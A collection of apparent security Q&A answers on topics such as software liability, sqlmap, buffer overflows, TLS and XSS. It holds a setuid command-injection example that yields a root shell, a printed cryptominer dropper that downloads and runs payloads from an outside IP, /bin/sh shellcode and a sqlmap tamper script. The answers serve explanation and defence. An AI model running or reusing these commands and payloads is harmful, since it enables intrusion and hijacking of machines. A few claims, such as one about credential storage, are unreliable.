Is it legal/ethical to release commercial software with known security flaws

It is legal to sell imperfect products

The general standard for selling products is that they are required to be fit for the purpose for which they're sold and advertised. They are not required to be a very good fit for the purpose. They are not required to be fit for other purposes. They are certainly not required to be free of all flaws, risks and potential misuses - as long as they are mostly fit for a particular purpose, it is legal to sell them.

For example, it is completely legal to sell doors that can be smashed open by a scrawny teenager. It is completely legal to sell physical locks that can be picked open by a bobby pin. It is completely legal to do so even if you're completely aware that these vulnerabilities exist. These doors and locks are still fit for purpose even if explicitly advertised for the purpose of "keeping intruders out" - they are not required to be perfect at that purpose; it's okay to manufacture and sell flimsy doors and flimsy locks even if everybody knows that they could be made much more secure with some modifications.

Pretty much all software is released with known bugs, i.e., the company bug tracking system lists many unfixed problems of varying importance. Again, this is evidence that having known defects by itself isn't sufficient to make software unfit for purpose. Even when released without any known bugs, no software is fully secure - pretty much every nontrivial package has had multiple security vulnerabilities. This doesn't mean that they are not fit for purpose - they certainly allow users to perform useful tasks even if the vulnerabilities are never patched, so they are fit for that purpose even if they are totally unsecure.

For example, many systems similar to your system (as it looks like from the question) would be quite useful even if they didn't have any authentication and all users had full access. In that case it would be fit for purpose even with a totally flawed authentication system; some authentication is better than no authentication and no authentication also would be acceptable in this case - not too good, but acceptable.

One can imagine certain niches of software which are absolutely not useful if their security is flawed. Most software is clearly not in this category, but e.g. disk encryption or password management software could be. However, even then it would be a question of how severe the vulnerability is. As in the example of flimsy locks, an imperfect security solution that protects against some but not all attacks is generally considered fit for purpose.

Ethics of selling low quality products

The ethical situation is a bit different than the legal mandate, but again I believe we can draw parallels from sale of physical items.

For any given type of product consumers reasonably expect that there will be differences of quality depending on the brand. Some shoes will be much better than others, and it's nice; and some shoes will be much cheaper than others, and that's nice as well - both are valid choices for consumers and manufacturers.

It's a completely valid and ethical strategy to make and sell low quality items. Someone may reasonably intentionally buy a low quality item, for example, because it's cheaper. Someone may reasonably intentionally choose low quality software, for example, because it's cheaper. People may make, distribute and use free software that is well known to have as much holes as swiss cheese, and simply avoid using it in contexts where security is important. A customer ordering a custom development may reasonably choose to have their supplier work on new features over fixing known security flaws - it is their choice to make, and it's ethical to make a product according to these priorities.

What is unethical is misleading customers. If you want to advertise that your product is better in quality than the competition, then it's ethical iff it actually is so. If you want to advertise that your product will hide sensitive data from authorised local users without proper permissions, then it's ethical iff it actually is true. However, do note that this is talking about the ethics of advertising and communication - the unethical act is not the selling of shoddy software, but the lies about your product.

In your particular example, the ethical way would be to ensure that the vulnerability is publicly disclosed. In that case, the customers can make an informed decision on how and if they should use the product, how important that vulnerability is to them and if it makes a meaningful difference to them.

All this is assuming that we're talking about defects of various severity, not malicious code - intentionally placing backdoors is strictly different.


Privilege Escalation: C functions setuid(0) with system() not working in Linux

./pingSys 127.0.0.1; /bin/sh

The semicolon will be interpreted as a command delimiter by the current shell. This means it will first execute ./pingSys 127.0.0.1 in the current shell and then /bin/sh in the current shell, i.e. spawning a new shell with the current (non-privileged) permissions.

What you instead need to do is to put quotes around your argument so that it gets passed in full to your pingSys program instead of getting interpreted by the current shell:

 $ ./pingSys '127.0.0.1; /bin/sh'
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.071 ms
...
# whoami
root


Hacking Exposed Wireless, 2nd Edition
Seven Deadliest Wireless Technologies Attacks
Unauthorised Access: Physical Penetration Testing For IT Security Teams
Modern Cryptanalysis: Techniques for Advanced Code Breaking

The best I ever saw on defense was in the Linux Networking Cookbook, Recipe 4.7. Making WPA2-Personal Almost As Good As WPA-Enterprise.


Can the Gmail password be recovered from the Android Gmail app?

There is some information on this page and you can read that page too if you like the zoo-like ambiance of finding a few gems of information amid all the monkey screaming.

Succinctly, for access to Gmail specifically, the App uses the password upon the first connection, to obtain a specific token value; think of it as a randomly generated sub-password. The token value is enough to read incoming emails, send emails, and alter the mailbox. It does not, however, give any power beyond these operations, so knowing the token value does not give you access to the actual password or to other Google sites (like Google+). The App stores the token value, not the user password.

So this answers your question: if someone steals or subverts your smartphone, he can obtain the token value which grants access to your emails, but he won't be able to recover or reset your password, or access any other service linked with your password. Of course, a few caveats apply:

Someone who controls your emails can then leverage that to attack all systems who use an email-based password-recovery system. A lot of sites implement a "forgotten password" feature in which a password-reset token (say, URL) is sent through email. Gaining access to your emails is kind of equivalent to stealing your Internet life altogether.
An attacker who could subvert your phone enough to read the private data storage of the Gmail App is most probably able to plant a key/screen logger and obtain your actual password the next time you type it.


Remote Auditing a Secure WiFi Network-Obtaining enough of the Secured-Network credentials to attack without being in range of WiFi

I believe the PTW attack on WEP only requires you to be within range of one of the clients of the AP, not the AP itself.  Other than that, I'm not aware of any attacks that can be done without being within range of the AP.  Some information-gathering can be done by listening for probes from former clients of the AP, but I don't know if you would call this an attack.

Note that this range can be a lot longer than you'd expect.  Without using any special equipment, I've picked up APs from as much as 15 miles away.  Quirks of radio propagation can change the coverage area as well: I've picked up APs that are out of line-of-sight by pointing an antenna at a tall building and catching the reflected signal.


How does the ShellShock exploit work over OpenSSH?

You should be safe from ssh side, but there are other vectors as well, like dhclient-script.

By the way, you are only really "vulnerable" through SSH if you have users with restricted access (e.g. chroot or sftp-only). If all your users have full shell access, then even though they may run commands using this exploit, they could do that anyway.


What are the risks when using QR to authenticate when using offline MFA in cases network is unavailable due to a network outage

The introduction of paper "Two-Factor Authentication with End-to-End Password Security" by Stanislaw Jarecki, Hugo Krawczyk, Maliheh Shirvanian and Nitesh Saxena address all online and offline attack vectors for most MFA/TFA scenarios.

Let me quote the important section (page 2, section Vulnerabilities of traditional TFA schemes): "Existing TFA schemes, both PIN-based and those that do not rely on PINs, e.g. [1,8], combine password authentication and 2nd-factor authentication as separate authentication mechanisms leading to several limitations. Chief among these is that such TFA solutions remain vulnerable to offline dictionary attacks upon server compromise in the same way as non-TFA password authentication schemes (i.e. via exposure of users’ salted hashes), thus perpetuating the main source of password leakage.Moreover, existing TFA’s have several vulnerabilities against online attacks: (1)The read-and-copy PIN-transfer is subject to a variety of eavesdropping attacks,including SMS hijacking, shoulder-surfing, PIN recording, client-side or device-side attacks via keyloggers or screen scrapers"

In your case if the client and device are compromised (as described in this paper: "Screenmilker: how to milk your android screen for secrets"), the QR code and the user password could be known to the attacker.

I strongly recommend reading both papers I mentioned to everyone actively working with TFA/MFA solutions or scenarios.


Store SQL database credentials in a webserver

The best way to enter database credentials is creating the config page(.config) and store the values in it.
No the user cannot view the file unless he has administrator privilages to the sql server


Does searching for my info expose my info?

You assume that the search happens by giving the website your details. It would be more efficient for large volume of searches to scrape all the data, then look for your details offline.

But, what your bank does and how they do it is up to them. It is of course possible for anything entered into a malicious site's search function to be logged.


Why do spammers send to random addresses in my domain?

I can see at least two reasons.

The first is that spammers know that a number a people like you turn on catchall E-mail. So they are trying their luck.

Second, in addition to using know E-mail addresses, spammers will also fetch lists of domain names and try more or less random combinations. They will of course try info@domain.tld, sales@domain.tld, webmaster@domain.tld, etc but may also use common name/surname combinations. It's some sort of brute-force spamming.

The aim is to reach a maximum number of recipients.


iphone, Electron Microscope can see the ROM cell states

Just one bit gets toggled when the passcode is correct.

No. It is having a different code path if the passcode is correct which involves lots of other bit. And even if this would only be one bit: how do you find exactly this one bit you would need to toggle? It is not that memory layout is that predictable so that you could easily find the needed bit. And experimentation changes the state of the system (like adding to the maxfail counter), which means that it would not be always the same bit you would need to toggle. And after only a few number of tests the phone might even wipe itself because you've had too much failed attempts.


How "safe" is it to set up my email on IMAP without SSL?

Accessing an IMAP server without TLS means that an attacker in the network

can sniff your username and password. Since these are often also used to authenticate when sending mail an attacker can send mail in your name.
can read and maybe even modify any mails your receive as an active man in the middle. For example an attacker might be able to replace some innocent attachment from a trusted person with an malicious attachment. The attacker might also delete mails or inject new mails, i.e. essentially the attacker is your mail server.

Note that TLS does not necessarily protect against all this. Many mail clients have the option to use TLS but accept any certificate. In this case such the man in the middle attacks are still possible since the attacker can present an arbitrary certificate instead of the certificate from the original IMAP server.
Also, TLS does not protect against an attacker which compromised the IMAP server itself.


if you wget that image and open it w/ nano it contains the following:

#!/bin/sh
rm -rf /tmp/wqbtraqbpv.conf
pkill -f stratum
pkill -f "/tmp/apache"
pkill -f "/tmp/httpd.conf"
pkill -f cryptonight
pkill -f wqbtraqbpv
ps auxf|grep -v grep|grep -v qslulqdbi|grep "/tmp/"|awk '{print $2}'|xargs kill                  -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "65.254.63.20"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wqbtraqbpv"|awk '{print $2}'|xargs kill -9
ps -fe|grep qslulqdbi|grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
chmod 777 /tmp/qslulqdbi.conf
rm -rf /tmp/qslulqdbi.conf
curl -o /tmp/qslulqdbi.conf http://91.230.47.41/img/kworker.conf
wget -O /tmp/qslulqdbi.conf http://91.230.47.41/img/kworker.conf
chmod 777 /tmp/kauditd
rm -rf /tmp/kauditd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /tmp/kauditd http://91.230.47.41/img/kworker
wget -O /tmp/kauditd http://91.230.47.41/img/kworker
else
curl -o /tmp/kauditd http://91.230.47.41/img/kworker_na
wget -O /tmp/kauditd http://91.230.47.41/img/kworker_na
fi
chmod +x /tmp/kauditd
cd /tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
nohup ./kauditd -c qslulqdbi.conf -t `echo $cores` >/dev/null &
else
echo "runing....."
fi

I would recommend blocking inbound & outbound traffic of:

91.230.47.41
94.23.8.105
37.59.49.7
37.59.51.212
188.165.214.76
176.31.117.82
188.165.254.85

via firewall rules as well as removing the cron job

kworker & kworker_na seem to be clean according to virus total ... but I would check your /tmp/kauditd folder and delete them both


How to find stack pointer for overflow bug?

Your problem is ASLR randomly choosing where your program is loaded.  You can turn off ASLR in Linux using sudo sysctl -w kernel.randomiz_va_space=0.

Here's my program.  I'm using RAX instead of EAX, and an unsigned long * rather than an int *.

#include <stdio.h>
#include <stdlib.h>

unsigned long *get_stack_ptr(void) {
  __asm__(
    "mov %rsp, %rax"
  );
}

int main(int argc, char **argv) {
  unsigned long *stack_ptr = get_stack_ptr();

  printf("Size Of Ptr: %d bytes\n", sizeof(unsigned long *));
  printf("Stack Pointer: %llX\n", stack_ptr);

  return 0;
}

Here's my program on ASLR:

@narrator:$ ./stackptr
Size Of Ptr: 8 bytes
Stack Pointer: 7FFD328233D0
@narrator:$ ./stackptr
Size Of Ptr: 8 bytes
Stack Pointer: 7FFC2B5F07E0
@narrator:$ ./stackptr
Size Of Ptr: 8 bytes
Stack Pointer: 7FFFE3A2FF10
@narrator:$ ./stackptr
Size Of Ptr: 8 bytes
Stack Pointer: 7FFE5F0795F0

Now I perform: sudo sysctl -w kernel.randomize_va_space=0

Here's my program without ASLR:

@narrator:$ ./stackptr
Size Of Ptr: 8 bytes
Stack Pointer: 7FFFFFFFDF70
@narrator:$ ./stackptr
Size Of Ptr: 8 bytes
Stack Pointer: 7FFFFFFFDF70
@narrator:$ ./stackptr
Size Of Ptr: 8 bytes
Stack Pointer: 7FFFFFFFDF70
@narrator:$ ./stackptr
Size Of Ptr: 8 bytes
Stack Pointer: 7FFFFFFFDF70


I can answer part of your question. :)

2) The worst case scenario of Slorloris is a short-term denial of service (unless it's used as part of a social engineering attack against admins, perhaps).

3) Since you were able to replicate it, you already know the answer: it's easy! But there's one mitigation: if there's anything that blocks ports (firewall, router with NAT, etc), it's not exploitable at all.

I don't know the answer to 1) and 4), and googling "skype slowloris" doesn't surface any results. Are you 100% sure it was vulnerable? It's possible it's just a classic DoS (like port exhaustion), not slowloris.


msfvenom incompatible character encodings error

You can try to add it to Administrators group by SID using Powershell. You can see this similar post on StackOverflow: https://stackoverflow.com/questions/27296203/adding-members-to-local-groups-by-sid-in-multiple-languages

Good luck!


Can an attacker who has wiretap access to my phone line intercept internet traffic?

Data traveling over wires is vulnerable.

Physical access to a network’s signal provides an attacker with the capability of reading any cleartext (unencrypted) traffic traveling over that network. It doesn’t matter if it’s a phone line, Ethernet, or WiFi signal.

Radio signals are an obvious target for eavesdropping, because the signal is literally broadcast in all directions. With WiFi signals being so easy for anyone nearby to intercept, the WiFi security standards have been designed to encrypt all the data riding over the airwaves, making interception at that specific link in the network harder.

However, the same philosophy has never been applied to hard wired connections. Wired connections are not encrypted by default. Tapping a phone wire is not something a typical person imagines could be done while sitting at a table in a coffee shop, or walking down a hallway. Those same people tend to think those wires are private.

But technology has advanced for everyone. You can buy a LAN tap for a few dollars, and hard wire your own tap. You can buy a Packet Squirrel for a hundred bucks and plug it in to an Ethernet port on the back of a WiFi access point, and you’ll have cellular access to whatever data travels over that network - without breaking the WiFi encryption.

Instead of trusting the security of the wires, you should secure your communications. Make sure you are connected using HTTPS (the little padlock appears in your browser. ) Don’t fall for phishing emails. Take security precautions assuming that all your data, both wired and wireless, might be intercepted.

Edit to address comment:

HTTPS uses TLS to encrypt the data between the client and server regardless of the network hardware between them. With TLS it doesn’t matter if they’re apps on mobile phones or browsers on hard-wired PCs, the data is secured the exact same way. Your browser or app is one end of the secure connection, and the web server is the other end. Person-in-the-middle attacks on TLS ultimately require compromise of one endpoint or the other.

No one can guarantee the absolute security of HTTPS, because there have obviously been many successful attacks, including spoofed sites with fake URLs and legit certificates; injection of a compromised trusted root certificate in the client and a PITM proxy; weaknesses in the SSL protocol; forged MD5 certificates; compromised certificate authorities; keylogger malware on the client; malware on the server; etc.  But as of late 2018, TLS 1.2 is as close to resistant against network wiretap-type attacks as it gets.


How does Windows schedule a thread when the thread has no process?

AFAIK, all threads of a process share same code and data segments. At any moment, a program can ask for its ThreadId and ProcessId. And a process only actually ends when all of its threads do.

But a malware can hide its activity behind a rundll32 process. This is just a system process that is used for example when services are implemented only through a DLL and not through an executable. As you find such processes commonly in task manager list, it is hard to guess where a malicious activity is hidden behind.


Logging Penetration Test - What do you use?

I'm not sure software recommendations are on-topic here, and you'll only get opinion based answers, but my favorite tool is Infobyte's Faraday. It allows me to upload scan results, check off compromised systems, view all the data in beautiful graphs, and even export this data into a usable report.

Mods: If you feel this answer is inappropriate, please delete or let me know and I'll take it down. Disclaimer: I am not affiliated with Infobyte in any way.


Why does Github need to offer a GPG signature feature?

Since git is decentralized, anyone can forge a commit, and fake the source of the commit, even if they don't have your credentials.

It's really as easy as:

git commit --author "Name <email@example.com>"

Signing a commit allows its author to prove its authenticity.


run sqlmap with http post request with encoding data

Sqlmap supports multiple ways to process parameters with custom code. You can use --eval to base64-encode a single parameter, like so:

--eval "import base64; paramname = base64.b64encode(paramname)"

Also, you can use the --tamper parameter to load a custom python script that modifies the payload.

Unfortunately it's not straightforward to tamper with the entire POST query string. But here is a suggestion for a workaround:

Specify an empty data string in your sqlmap command (use the asterisk (*) to indicate the injection point) and declare a --tamper script:

$ ./sqlmap.py -u "http://example.com/" --data "*" --method POST --tamper mytamper

The tamper script could look like this:

import base64
import urllib

def tamper(payload, **kwargs):
    params = 'name1=value1%s&name2=value2' % payload

    data = urllib.quote_plus(params)
    data = base64.b64encode(data)

    return data

This script inserts the payload into your query and performs the URL-encoding and base64 conversions. It currently tests for the name1 parameter. You would have to change the injection point manually if you want to check the other one.

For the sample payload ) AND 3825=3825 AND (7759=7759 you would end up with a request like this:

POST / HTTP/1.1
Host: example.com
User-agent: sqlmap/1.0-dev-6fef294 (http://sqlmap.org)
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
[...]
Content-type: application/x-www-form-urlencoded; charset=utf-8
Content-length: 92
Connection: close

bmFtZTElM0R2YWx1ZTElMjkrQU5EKzM4MjUlM0QzODI1K0FORCslMjg3NzU5JTNENzc1OSUyNm5hbWUyJTNEdmFsdWUy

As you can see the POST body is URL- and base64-encoded.


Automating Metasploit attacks, is it possible to generate all (most) modules?

VM's are certainly a good option, there's plenty of out of the box vunerable systems you can fire up (e.g. Metasploitable). That combined with a TCPdump of the traffic should yield most of the information you need.

That being said, you may have more luck creating signatures for the Metasploit Payloads. There are fewer of them, they change less frequently and you can be sure that if you detect it, that's traffic you want to identify or block. Will also work when new exploits are added to Metasploit which is very often.

Metasploit does include some abilities for beating signature-based detection so that's something you need to take into account as well.


Applying regexp for user input validation using JavaScript

You shouldn't be relying on regular expressions to prevent SQL injection or XSS

SQL injection is prevented using prepared statements

XSS is prevented using the corresponding encoding for the context where the input value is used, f.e. if you're inside html tags like <p>{{user_input}}</p> it should be encoded using html entities


Are there any remote sites available to apply shellshock on?

There were a few sites but they are no longer online. Your best bet is to grab a VM and perform the test locally. There's a good VM and Walkthrough available from PentesterLab - https://pentesterlab.com/exercises/cve-2014-6271


Should the shellcode be "reversed" before beeing injected in a simple buffer overflow?

No, most operating systems today are little endian, the string are reversed in memory. To see this, compile in 32 bits a code like:

    // test.c
    #include <stdio.h>

    int main(){
        char buf[8] = "ABCDEFGH";
        int n = 9;
        printf("%s\n", buf);
        printf("%d\n", n);
        return 0;
    }

with:

$ apt install gcc-multilib
$ gcc -g test.c -o test -m32

Then run the binary in gdb, break before printf execution and look at the stack:

$ gdb ./test -q
Reading symbols from ./test...done.
(gdb) disas main
Dump of assembler code for function main:
   [...]
   0x000011db <+50>:    sub    $0xc,%esp
   0x000011de <+53>:    lea    -0x14(%ebp),%eax
   0x000011e1 <+56>:    push   %eax
   0x000011e2 <+57>:    call   0x1040 <puts@plt>
   [...]
End of assembler dump.
// printf is replaced by puts system call here

(gdb) b *main+57
Breakpoint 1 at 0x11e2: file test.c, line 6.

(gdb) r
Starting program: /root/test

Breakpoint 1, 0x565561e2 in main () at test.c:6
6       printf("%s\n", buf);

(gdb) x/20x $esp
0xffffd280: 0xffffd294  0x56559000  0xffffd35c  0x565561c0
0xffffd290: 0x00000001  0x44434241  0x48474645  0x00000009
0xffffd2a0: 0xffffd2c0  0x00000000  0x00000000  0xf7deab41
0xffffd2b0: 0xf7faa000  0xf7faa000  0x00000000  0xf7deab41
0xffffd2c0: 0x00000001  0xffffd354  0xffffd35c  0xffffd2e4

ASCII code for 'A' is 0x41, 'B' 0x42, ..., so in the second line you can see that ABCDEFGH is stored as:

0x94: DCBA
0x98: HGFE
0x9B: 0x00000009

Note that the end of the string is in a higher address.

Scanf store the input string in the same way:

$ cat test.c

#include <stdio.h>

int main(){
    char input[8];
    scanf("%s\n", input);
    printf("%s\n", input);
    return 0;
}

$ gcc -g test.c -o test -m32
$ gdb ./test -q

(gdb) disas main
   [...]
   0x000011d4 <+43>:    call   0x1050 <__isoc99_scanf@plt>
   0x000011d9 <+48>:    add    $0x10,%esp
   0x000011dc <+51>:    sub    $0xc,%esp
   0x000011df <+54>:    lea    -0x10(%ebp),%eax
   0x000011e2 <+57>:    push   %eax
   0x000011e3 <+58>:    call   0x1030 <puts@plt>
   [...]

(gdb) b * main+58
Breakpoint 1 at 0x11e3: file test.c, line 6.

(gdb) r < <(echo "ABCDEFG")
Starting program: /root/test < <(echo "ABCDEFG")

Breakpoint 1, 0x565561e3 in main () at test.c:6
6       printf("%s\n", input);
(gdb) x/20x $esp
0xffffd280: 0xffffd298  0xffffd298  0xffffd35c  0x565561c0
0xffffd290: 0x00000001  0xffffd354  0x44434241  0x00474645
0xffffd2a0: 0xffffd2c0  0x00000000  0x00000000  0xf7deab41
0xffffd2b0: 0xf7faa000  0xf7faa000  0x00000000  0xf7deab41
0xffffd2c0: 0x00000001  0xffffd354  0xffffd35c  0xffffd2e4
(gdb)

Because of that you have to reverse the address you want to put in eip via an input string to have a correct address in memory (eg: 0xdeadbeef becomes "\xef\xbe\xad\de").

A shellcode is a set of assembly instruction you will store in memory, the following string is ready for an input, you don't need to modify it:

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

After input you will have a sequence of opcodes in memory like in code segment.
The stack grows down but strings "grow normally" (remember "ABCDEFGH") and eip get incremented after each instruction so it will follow the order of the instructions in the string:

Disassembly:
0:  31 c0                   xor    eax,eax
2:  50                      push   eax

String Literal:
"\x31\xC0\x50"

Don't worry about little endian, it is just the way data are stored, it just matters when you want to craft an address (overwrite of saved eip for example).


Anything you can do with javascript as the site owner can be done with an XSS attack. That includes modifying the DOM. You could replace an entire page and thus have control of all data into and out of the website. Relatively simple scripts can read cookies and forward session information. That would be like Firesheep at a distance -- impersonating a user by grabbing their access credentials.

Further, this may introduce visitors to your site any sort of attack that affects browsers.


How do spammers crawl the web for mail addresses?

There can be multiple sources:

big random e-mail databases generally available on black market
specific e-mail databases leaked/stolen from specific sites; those are also sold on the market
automated tools that phish addresses from web-sites; many site still have addresses in plain text which is a bad practice since it's a trivial matter to extract them
addresses shared between large companies for (theoretically) marketing or other similar purposes; that's why GDPR appeared

The last one in the list usually guarantees that you end up as spam target. It is sufficient to register on a few big shopping sites with low security and that's it; you'll start getting spam.


eBay web site tries to connect to wss://localhost:xxxxx - is this legit or they have some Malware JS running?

This is ebay running a local port scan over websockets. It has been reported recently:

https://twitter.com/JackRhysider/status/1264415919691841536 (original research)
https://www.bleepingcomputer.com/news/security/ebay-port-scans-visitors-computers-for-remote-access-programs/ (bleeping computer article)

I don't think it's malicious, but it is bad practice, it's sneaky and erodes user trust. They do it before you accept any T&Cs of any kind allowing probing into your own computer.

Similar tactics are used by banks in more or less open ways (it varies).


SQLMap Failure, Manual SQL Injection Success

You usually need to provide sqlmap with the specific request that you want to test for SQL injections. It's not sufficient to specify a plain IP address since sqlmap can't reliably analyze the web application and recognize the form parameters by itself.

Your command would have to look something like this:

./sqlmap.py --data "user=test&password=test" -u http://192.168.254.21/login.php

(You'd have to replace user and password with the correct parameter names of your login form.)

Alternatively, you can experiment with the --forms argument that instructs sqlmap to search for form parameters itself, but that's not always reliable as sqlmap isn't built for scraping complex web apps.


Does HTTP Strict Transport Security (HSTS) make any sense in server to server communication?

Why HSTS?

The weakness HSTS is designed to protect against is clients that first connect to a server by making a request over HTTP, and are expected to be redirected to the HTTPS version (or a 404). An attacker can MitM that request and instead of sending the redirect send the (possibly modified) site over HTTP.

Connections over HTTP can be opened for many reasons:

Attacks like SSL-strip.
People entering the HTTP address into the URL bar
Hardcoded links to HTTP.

Do any of these affect a server? The third one might, but it depends on whether you have full control of all the software that connects to your server or not.

If you have full control

Just make sure all URLs that are ever used are to HTTPS. If they are read from a config file, explicitly check that they are not HTTP. This eliminates the need for HSTS. While you are at it, you should make sure you only accept secure cipher suites and perhaps think about implementing certificate or public key pinning.

If you do not have full control

Let's say other people write software that connects to your server. You do not know if these people know what they are doing. They might accidentally make a HTTP request somewhere.

If the libraries they use actually interpret and enforce HSTS headers (it is the client that is responsible for enforcing HSTS) these people would be more safe with HSTS turned on. But it is still sort of an edge case - if you give 404 answers and not redirects on HTTP requests it is hard to imagine why anyone would write software that makes them. I also suspect most libraries ignore the HSTS headers. But who knows!


Does end entity SSL Certificates need to be re-keyed periodically to improve security?

TLDR : no it is not necessary as far as your certificate has a 1 or 2 years validity period.
Re-key a SSL certificate means a complete change of it (as the public and the private keys are changed). You cannot keep some parts of the file and change others at the owl file is signed. So "re-key" a certificate is more like put it in the trash and make a new one.
The main benefit of re-key a certificate is obviously to address the scenario where the private key is compromised.
If you know that your private key is compromised, the response is to revoke the certificate, not only renew it.
If you have no clue that your private key is compromised but you want to address the risk in the event of an unknown compromise, the correct periodicity should be something like every year. And, basically, one year is a common validity period for an end point certificate (3 months with let's encrypt). So, in any case the certificate expires after one or two years and the new one will have a different keypair (except if you explicitly mention that you want to reuse the same key).


Down at the bottom-right corner of the Gmail inbox is a "last account activity" line with a "details" link.  You can click on that link to get a list of IP addresses that the account has been accessed from.


Securing a multi-tenant API with SSO and different roles per tenant

I'm not a programmer, but I have reviewed an org that seems to do something similar.  Here's how they do it...

AngularJS client authenticates with an application security API we have via OAuth.  The system hosting the API then passes the authentication and requests the authorization from a second system.  The second system returns the authZ token, username, and claims to the security API system.  The security API calls to a token manager system that creates a JWT and returns it to the security API system.  Finally, the security API returns the encoded JWT to the AngularJS client.

An individual call goes from the AngularJS client to the actual application API, providing the token.  The application API system gives the token to the token manager for validation.  If valid, the API returns data (or throws on invalid or expired tokens).

For renewal, the AngularJS client contacts the security API again, which contacts the authZ token system, returning the renewed token to the security API system, which send it to the token manager for creation of a new JWT, which the security API returns to the client.

At change of tenant, it does an authZ token transfer request call to the security API that goes all the way to the authZ token server, a new authZ token is created and sent back to the security API along with username and roles, it requests a JWT with that, and once returned, passes it to the client.

To more directly answer your questions...

It seems correct to use OAuth and OIDC
I don't know about scope advertizing.
I'm in security, so I'm a fan of role-based access control for everything.  :-D  So I'd say to have the application do the individual perm lookups from the roles embedded in the token.
Two separate tokens appears to be how this org deals with it.  One, which seems to function as both identity and session ID.  The second is the JWT which includes that first token and the roles/claims for the current tenant.


Hardening against Nmap and other network scanners

Snort can do what you’re asking. It can detect various types of network scanning behavior, and apply rules to respond with whatever kind of packets or data you configure. Plus, one snort appliance in your network can protect all the systems in its scope, not just one server at a time.

It isn’t exactly what you asked, in that it’s not a modification to a web server, but that shouldn’t matter if it does what you need.


The issue was linked to a field called "identity" with the supplicant
I had chosen a different name than that specified in the FreeRADIUS clients.conf file


Don't implement your own session handler.   Use $_SESSION,  it was written and audited by people who very good understanding security.   I don't even know the intricacies of how your session handler works,  but based on the little information you have given us its insecure.

SQL Injection is useful to obtain data from the database.  We HASH passwords because in the event of an attacker obtaining this data,  they will be forced to crack the hash before its useful.  However,  in your case,  it doesn't matter that you are vulnerable to CWE-257,  the attacker can just pull the session id out of the database, and use that to authenticate.

I could also gain admin access because you have made no mention of OWASP a9 - Insufficient Transport Layer Protection. You are also vulnerable to Clickjacking,  every web app is by default.  CSRF or "session riding" was already mentioned.

Enable the security flags "httponly", "secure".  You can do this for $_SESSION by configuring PHP.

A defense in depth strategy is to plan on failure and limit the access your administrator has.  Don't allow file upload or code execution.  This is the number 1 reason why Wordpress instances get hacked,  once you have admin on a Wordpress site,  you have remote code execution on the server. Wordpress also implemented their own session handler at one point,  and you guessed it,  it was very insecure.


Is YubiKey vulnerable to BadUSB exploits?

Yubico specifically addressed the problem of BadUSB in their blog post from August 2014 confirming separately capabilities of each of their products:

FIDO U2F, YubiKey Standard, YubiHSM are not capable of having their firmware upgraded;
YubiKey NEO supports firmware upgrade, but requires the new firmware image to be signed by Yubico;
neither of the devices contain memory capable of storing malware code;
YubiKey 4 released in November 2015 is not mentioned.

Yubico is aware of the problem and claims to have taken precautions against the attack (in case of devices technically capable of having firmware upgraded).
Unless Yubico breaks their promise by either a flaw or a change in the aforementioned policy, there is no way to alter the firmware in YubiKey without a physical intrusion.
The ultimate decision whether to trust Yubico as a provider is on the user.

Regarding the quoted entry from the Yubico FAQ, it's full content is:

No, It is currently not possible to upgrade YubiKey firmware. To prevent attacks on the YubiKey which might compromise its security, the YubiKey does not permit its firmware to be accessed or altered.
Yubico is dedicated to providing a long-term two-factor authentication solution, we want your YubiKey to remain useful for the full extent of its lifetime. When we do release new firmware, we ensure the new YubiKey will function the same as older versions, so there is no need to purchase new YubiKeys to ensure compatibility.

The first paragraph means YubiKey firmware is non-alterable.
The second paragraph means: when Yubico releases a YubiKey with an updated firmware version, they ensure the compatibility of the supporting software with the old devices (which are not upgradeable).
There is no room for interpretation or speculation.


Is Steganography considered encryption and subject to USA export restrictions?

Encryption is about keeping some information confidential through a transform which requires knowledge of a "secret convention" to unravel. If there is a key and the key is needed to recover the data, then it is encryption.

In key-less steganography, there is still a "key" but a very short one. Steganography is about hiding data in an innocent-looking medium (e.g. a picture). The "secret convention" is then that your steganography method was applied, and the picture is not "just a picture". This can be viewed as a one-bit key...

I am not, in any way, a lawyer. My view is that of a scientist. In my view, your key-less steganography is not encryption per se, because a "one-bit key" stretches the definition of key a bit too far for my taste.


Are my Windows 10 User Accounts exposed?

Attackers will often aggregate useful offensive knowledge. A good example is combo listing, where cracked passwords and matching usernames are made into giant lists which are passed around.

It could be that the attacker who gained access saved your username/password combinations, or even sold them to other people. It's not too surprising that the usernames, which are now compromised information, are being targeted again.

Question for you: has your IP or domain changed since the first compromise? If not, then it's almost expected the attacker would try those same usernames against your host. If RDP has a banner which uniquely identifies your host that might be another way those usernames are being associated with your system.


TLS Protocols 1.0, 1.1, 1.2. Should I get rid of TLS 1.0?

Is TLS 1.0 not recommended, not supported, or out of compliant?

TLS 1.0 is still supported, but generally not recommended if you can avoid the need to support older clients. This entirely depends on your clients, your setup, and your business or personal needs. There are some considerations for upcoming PCI compliance having to disable support for TLS 1.0 as well.

  What if you have 1.2 disabled and 1.0 enabled?

TLS 1.0 can be suceptible to a number of attacks if not mitigated by server nor client, such as BEAST.


Can modsecurity 2.x read data from a text file that has been updated?

Files won't update dynamically in the server. If you want to get updated details, You need to restart the server. I checked this manually.


Client certificates are an established method which offer already what you need so that you don't need to invent your own. The process is even simpler than your version because you can just use existing libraries. The basic idea of having a key pair for the client is the same:

You create a certificate for the client or the client creates one itself. This certificate is either explicitly trusted by the server or implicitly because it was signed by the servers certificate authority (CA).
In the TLS handshake the server requests the certificate from the client. It checks if the certificate is a known and trusted one. If not the connection fails.
That's all.

